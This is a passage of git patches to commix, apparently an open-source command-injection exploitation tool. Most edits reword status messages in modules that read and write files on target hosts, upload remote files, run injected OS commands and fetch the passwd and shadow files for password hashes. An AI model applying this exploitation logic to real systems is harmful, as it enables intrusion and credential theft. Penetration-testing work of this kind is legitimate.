menu.file_access_options(): + # sys.stdout.flush() info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index c887fcf06b..b467ba67f0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -36,6 +36,10 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -53,23 +57,24 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) + """ Write to a file on the target host. """ @@ -100,6 +105,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -150,8 +159,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -187,7 +195,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest - + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -207,11 +219,10 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8d11592ddf..8a173abe42 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -343,17 +343,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) + # Pseudo-Terminal shell go_back = False go_back_again = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index b99c178f6c..f77cadba06 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -95,8 +95,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: info_msg = "The hostname is " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index b8461834a3..219383511f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -36,6 +36,10 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -53,23 +57,22 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) + # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -100,6 +103,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -141,8 +148,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -178,7 +184,11 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest - + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -196,8 +206,7 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index cff3eb9ab8..6cb0bfd62b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -354,16 +354,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index e7e863775e..683a785a2b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -546,7 +546,8 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp print(settings.SINGLE_WHITESPACE) else: err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index fd78509b5b..87fb39797c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,6 +35,10 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -52,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -95,6 +99,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt else: dest_to_write = menu.options.file_dest + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\","/") @@ -135,8 +143,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt #if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -173,6 +180,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht else: dest_to_upload = menu.options.file_dest + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -190,11 +201,10 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3982c18002..b79edf8e2f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -568,19 +568,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. + if menu.options.os_cmd: + fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) + try: # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 4be3329ba8..999d39283a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -37,6 +37,10 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -57,22 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: sys.stdout.flush() warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -101,6 +103,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest + + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -153,8 +160,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() @@ -191,6 +197,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -211,12 +222,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index b0da54b2af..d0b5244353 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -518,8 +518,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -533,11 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # logs.print_logs_notification(filename, url) - # raise SystemExit() - if settings.VERBOSITY_LEVEL != 0 or not new_line: + if not new_line : print(settings.SINGLE_WHITESPACE) + try: # Pseudo-Terminal shell go_back = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 058a575e7e..adbd108bc1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -399,10 +399,8 @@ def file_access(url, cve, check_header, filename): # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully." - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" @@ -448,14 +446,11 @@ def file_access(url, cve, check_header, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT - info_msg += " file was uploaded successfully.\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to write the '" + dest_to_upload + "' file.\n" + warn_msg += "to upload the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True @@ -468,15 +463,14 @@ def file_access(url, cve, check_header, filename): # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) + if shell: + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." + print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 156b1792f9..6dde46d08d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2703c3c998ca90fb1b6857a0792d533ac4e18583 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Apr 2022 09:14:13 +0300 Subject: [PATCH 0122/1023] Updates / minor fixes regarding commit: https://github.com/commixproject/commix/commit/f9c1567838bcbbaa88733b0d6753b07181e0a8b6 --- .../techniques/time_based/tb_enumeration.py | 20 ++++++++-------- .../techniques/time_based/tb_file_access.py | 12 +++++----- src/core/injections/controller/checks.py | 3 ++- .../techniques/classic/cb_enumeration.py | 20 ++++++++-------- .../techniques/classic/cb_file_access.py | 12 +++++----- .../techniques/eval_based/eb_enumeration.py | 20 ++++++++-------- .../techniques/eval_based/eb_file_access.py | 12 +++++----- .../techniques/file_based/fb_enumeration.py | 20 ++++++++-------- .../techniques/file_based/fb_file_access.py | 12 +++++----- .../tempfile_based/tfb_enumeration.py | 20 ++++++++-------- .../tempfile_based/tfb_file_access.py | 12 +++++----- src/core/modules/shellshock/shellshock.py | 24 +++++++++---------- src/utils/settings.py | 2 +- 13 files changed, 95 insertions(+), 94 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 472bc2550d..5aa19f1969 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -263,7 +263,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -336,8 +336,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -430,8 +430,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: @@ -441,7 +441,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -468,7 +468,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -513,8 +513,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() @@ -522,7 +522,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 